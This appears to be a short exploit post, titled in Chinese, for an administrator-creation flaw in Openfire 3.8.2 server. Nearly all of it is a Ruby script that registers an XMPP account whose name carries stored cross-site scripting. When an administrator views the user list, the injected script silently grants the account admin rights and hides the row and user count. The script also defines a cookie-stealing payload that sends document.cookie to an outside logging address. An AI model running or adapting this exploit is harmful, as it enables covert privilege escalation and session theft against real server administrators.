Openfire 3.8.2 server 添加管理员漏洞

利用代码如下：

require ''rubygems''

require ''xmpp4r''

password="password"

xmpp_server = ''someserver''

webserver = ''someserver''

username="wadd@"+xmpp_server

payload_hide_tr = ''x=document.getElementById("x").parentNode.parentNode.hide();''

payload_hide_star = ''document.getElementById("x").parentNode.previous().children[1].hide();''

payload_count_down = ''el=document.getElementById("x").parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.children[0].children[0];el.innerHTML=parseInt(el.innerHTML)-1;''

payload_edituser = webserver+"/user-edit-form.jsp?username="+username+"&name="+username+"%3Cscript%20id%3D%22x%22%3Eel%3Ddocument.getElementById%28%22x%22%29.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.children%5B0%5D.children%5B0%5D%3Bel.innerHTML%3DparseInt%28el.innerHTML%29-1%3Bx%3Ddocument.getElementById%28%22x%22%29.parentNode.parentNode.hide%28%29%3B%3C%2Fscript%3E&save=true&email=&isadmin=on"

payload_createuser= webserver+"/user-create.jsp?username="+username+"&name=&email=&password="+password+"&passwordConfirm="+password+"&isadmin=on&create=Create+User"

payload_steal_cookie = ''new Image().src="http://127.0.0.23/log?c="+encodeURI(document.cookie);''

cl = Jabber::Client.new(Jabber::JID.new(username))

cl.connect

begin

  cl.register(password, {''name''=>''''+username+''<script id="x">new Image().src="''+payload_edituser+''";''+payload_count_down+payload_hide_tr+''</script>''})

  puts "Account #{username} now wait for the administrator to view the users/groups page to elevate privileges."

rescue Jabber::ServerError => e

  puts "Error: #{e.error.text}"

end

cl.close